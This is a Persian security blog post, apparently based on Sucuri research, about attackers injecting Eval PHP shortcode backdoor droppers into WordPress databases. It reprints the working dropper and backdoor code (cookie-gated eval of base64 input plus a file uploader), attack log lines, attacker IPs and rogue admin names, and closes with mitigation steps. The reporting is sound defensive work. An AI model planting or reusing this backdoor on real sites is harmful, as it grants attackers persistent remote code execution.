مهاجمین همیشه در حال یافتن راههای جدید ، برای آلوده کردن سایتها و حفظ دسترسیشون در اونا هستن. یکی از این موارد استفاده از بکدورها هستش. بکدورهای در محیط وب ، اغلب با PHP نوشته میشن.
طبق تحقیقی که محققین Sucuri برای تهدیدات سال 2022 منتشر کرده بودن، بکدورها، وب شل ها و آپلودرها ، محبوبترین گزینه برای مهاجمین بودن :
بکدورها به دلیل اینکه از طریق اسکن خارجی قابل کشف نیستن ، محبوبیت زیادی بین مهاجمین دارن. برای کشف اونا نیاز به اسکن سمت سرور و بررسی یکپارچگی فایلها هست.
تکنیک Database injections :
محققا اعلام کردن که در هفته های اخیر متوجه شدن، کد زیر به دیتابیس سایتهای آلوده و جدول wp_posts تزریق شده :
1 |
[evalphp]file_put_contents($_SERVER['DOCUMENT_ROOT'].'/7299b0773c8d.php','<?=409723*20;if(md5($_COOKIE[d])=="17028f487cb2a84607646da3ad3878ec"){echo"ok";eval(base64_decode($_REQUEST[id]));if($_POST["up"]=="up"){@copy($_FILES["file"]["tmp_name"],$_FILES["file"]["name"]);}}?>');[/evalphp] |
کد بالا با استفاده از تابع file_put_contents یه اسکریپت PHP در docroot ایجاد میکنه که این اسکریپت یه بکدور برای اجرای کدهای دلخواه مهاجمین هستش. تنها کاری که مهاجم باید انجام بده اینکه از پست یا صفحه آلوده بازدید کنه. با این کار بکدور به ساختار فایل اضافه میشه.
محققا گفتن که این تکنیک، روش جدیدی نیستش و تابستان سال پیش مشاهده اش کردن و تقریبا در 6 ماه گذشته بیش از 6000 نمونه از این بکدورها رو از سایتهای آلوده پاکسازی کردن. اما تزریق بکدور به دیتابیس یه روش جدید و جالبیه .
اگه به کد بالا نگاه کنید یسری تگ کد کوتاه (shortcode) وردپرسی ، [evalphp] ، رو مشاهده میکنید. تگ های کد کوتاه در وردپرس استفاده میشن و این امکان رو فراهم میکنن که قابلیتهای مختلف رو خیلی ساده و بی دردسر به سایتتون اضافه کنید. تگهای [evalphp] مرتبط با یه پلاگین قدیمی وردپرس به همین نام، EVAL PHP، هستش :
این افزونه کاری که میکنه اینه که ، کد PHP رو به صفحه اضافه میکنه و هر بار که کاربر اون صفحه رو باز کنه، اون کد PHP اجرا میشه. نکته ای که در خصوص این افزونه وجود داره اینه که ، این افزونه آخرین بار 10 سال پیش بروز شده و تعداد نصب فعال واقعی کمی داره. اما از ابتدای آوریل ، نصب اون افزایشی شده:
همونطور که مشاهده میکنید ، این افزونه برای مدت ده سال ، روزی یک بار هم دانلود نشده اما حوالی 29 مارس، شاهد افزایش نصب روزانه تا 7000 تا هم هستیم. بعدش روزانه 3 تا 5 هزار نصبی داشته که در نهایت بطورت کلی 100هزار بار دانلود و نصب شده.
بطور کلی مهاجمین سایتهای وردپرسی رو هک و این افزونه رو روشون نصب میکنن . با این روش میتونن کدهای PHP دلخواهشون رو اجرا کنن و البته دسترسیشون رو هم به سایتها نگه میدارن. نکته ای که هستش این سایتهای وردپرسی اغلب تو کمپین های مختلف مانند فیشینگ، ارسال اسپم، توزیع بدافزار و … میتونن استفاده بشن.
درخواستهای مخرب :
در همه موارد درخواست های مخرب از این آدرسهای IP بودن :
- 91.193.43.151 – AEZA-AS, RU
- 79.137.206.177 – AEZA-AS, RU
- 212.113.119.6 – AEZA-AS, RU
1 2 3 4 5 |
79.137.206.177 - - [08/Apr/2023:07:28:21 -0700] "PUT /wp-json/wp/v2/plugins/evalphp/evalphp/?status=active HTTP/1.1" 200 635 "http://<redacted>.com/wp-json/wp/v2/plugins" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2902.99 Safari/537.36" 613 79.137.206.177 - - [08/Apr/2023:07:28:30 -0700] "POST /wp-json/wp/v2/pages HTTP/1.1" 201 2029 "http://<redacted>.com/wp-json/wp/v2/plugins/evalphp/evalphp/?status=active" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2902.99 Safari/537.36" 504 79.137.206.177 - - [08/Apr/2023:07:28:31 -0700] "GET /3e9c0ca6bbe9.php HTTP/1.1" 200 27 "http://<redacted>.com/wp-json/wp/v2/pages" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2902.99 Safari/537.36" 17 |
در درخواستهای بالا :
- ابتدا بررسی میشه که آیا پلاگین Eval PHP نصب و فعال هست.
- بعدش یه صفحه مخرب با کدهای کوتاه حاوی تگ [evalphp] می سازه. کافیه کد PHP اجرا و بکدور 3e9c0ca6bbe9.php در docroot ایجاد بشه. اسم بکدور برای هر تارگت منحصر به فرده.
- مهاجم به بکدور ایجاد شده دسترسی داره.
با توجه به اینکه بکدور از $_REQUEST[id] ،برای گرفتن کدهای قابل اجرای PHP ،استفاده میکنه ، بنابراین نیازی به درخواستهای POST برای پنهون کردن پارامترهاش در لاگهای access log نداره. چون $_REQUEST حاوی محتوای $_GET و $_POST و $_COOKIE هستش. میتونه از طریق کوکی هم بگیره.
درخواستهای GET بدون پارامترهای قابل مشاهده، کمتر از درخواستهای POST مشکوک به نظر میان. اما در خصوص این بکدور، حتی درخواستهای GET هم میتونه خطرناک باشه.
صفحات دارای بدافزار evalphp :
در مواردی که محققا مشاهده کردن ، مهاجمین گاهی اوقات یه صفحه تست می سازن که این صفحه بصورت پیش فرض در صفحه Home نمایش داده نمیشه و slug اون برابر publish هستش که آدرس اون بصورت زیر هستش و محتوای اون فقط کلمه Test داره :
1 |
<site-domain>.com/publish/ |
با این حال، بکدورها در چندین پست ایجاد میشن و بعنوان پیش نویس ذخیره میشن و اصلا برای عموم قابل مشاهده نیستن. نکته ای که هست اینه که پلاگین Eval PHP ، قابلیت اجرای کدهای کوتاه PHP در صفحات پیش نویس رو هم داره.
شکل زیر این صفحات پیش نویس رو در جدول wp_posts نشون میده :
در همه موارد مهاجمین با حساب ادمین وارد سایت شدن و صفحات مخرب رو با حساب ادمین بعنوان نویسنده ایجاد کردن. اما در برخی موارد، مهاجمین یسری ادمین مخرب با نامهای تصادفی و ایمیلهایی از outlook.com مانند موارد زیر ایجاد کردن:
1 2 |
5faf461e / 5faf461e@outlook[.]com df8a6aa9 / df8a6aa9@outlook[.]com |
در برخی موارد مهاجمین این بکدورهارو در فایلهای دیگه هم ایجاد کردن. مثلا براساس بررسی لاگها، در مواردی یه نسخه سفارشی از پلاگین background-image-cropper حاوی این بکدور رو آپلود کرد (/wp-content/plugins/background-image-cropper/accesson.php). یا در مواردی از طریق WordPress theme editor در فایل functions.php مرتبط با قالب سایت اضافه کردن.
اما چرا مهاجمین بکدورهارو در wp_posts قرار میدن؟
استفاده از یه پلاگین قانونی و یه dropper بکدور، در یه پست وردپرسی ، باعث میشه که مهاجمین بتونن دوباره سایت رو آلوده کنن و همچنین مخفی بمونن. تنها کاری که انجام میدن اینه که از اون پست بازدید کنن.
اگه متوجه شدید که این افزونه روی سایت شما نصب شده، اما اینکار توسط شما انجام نشده، احتمالا وب سایت شما آلوده هستش، بنابراین اقدامات لازم رو انجام بدید.
افزونه های خطرناک در مخزن وردپرس:
اگه صفحه پلاگین EvalPHP رو در مخزن وردپرس باز کنید با هشدار زیر مواجه می شید:
این نسخه با آخربن 3 نسخه اصلی وردپرس تست نشده. ممکنه دیگه پشتبانی و توسعه داده نشه و ممکنه هنگام استفاده از نسخه های جدید وردپرس مشکل سازگاری داشته باشه.
اما این برای پلاگینهایی که امکان سوء استفاده رو دارن کافی نیستش و اگه کلا از لیست حذف بشن ، بهتر هستش. بخصوص برای افزونه هایی که بیش از ده ساله که بروز نشدن و جامعه کاربری کمی هم دارن.
میتونید افزونه های مشابه EvalPHP رو در مخزن وردپرس پیدا کنید :
این افزونه هم بیش از 11 ساله که بروز نشده و حدود 40 کاربر داره. آیا نگهداری اون صلاحه؟ نکته ای که هست این افزونه هم در هفته های اخیر محبوب شده.
وجود این پلاگین ها باعث میشن که هکرها به جای استفاده از پلاگین های جعلی و دستکاری شده ، از پلاگینهای قانونی از یه منبع معتبر استفاده کنن و در نتیجه محصولات امنیتی که یکپارچگی پلاگینهارو بررسی میکنن، نتونن اونارو شناسایی کنن.
اقدامات کاهشی :
- در بررسی لاگها ، محققا مشاهده کردن که در همه موارد، مهاجمین از قبل، دسترسی ادمین به سایت داشتن، تا بتونن افزونه رو نصب کنن. این نشون دهنده اهمیت توجه به امنیت پنل ادمین و فعالیت کاربر ادمین هستش. علاوه بر پاکسازی فایلها و استفاده از رمزعبور قوی و تغییر دورره ای اون، کاربران و صفحات وردپرسیتونم بررسی کنید تا توسط هکرها ایجاد نشده باشن.
- سایت و افزونه ها رو بروز نگه دارید
- پنل ادمین رو با استفاده از 2FA یا سایر ابزارهای دسترسی ، امن تر کنید
- یه سرویس بکاپگیری داشته باشید.
- از فایروال برای مسدود کردن فعالیتهای مخرب استفاده کنید و آسیب پذیری هارو اصلاح کنید.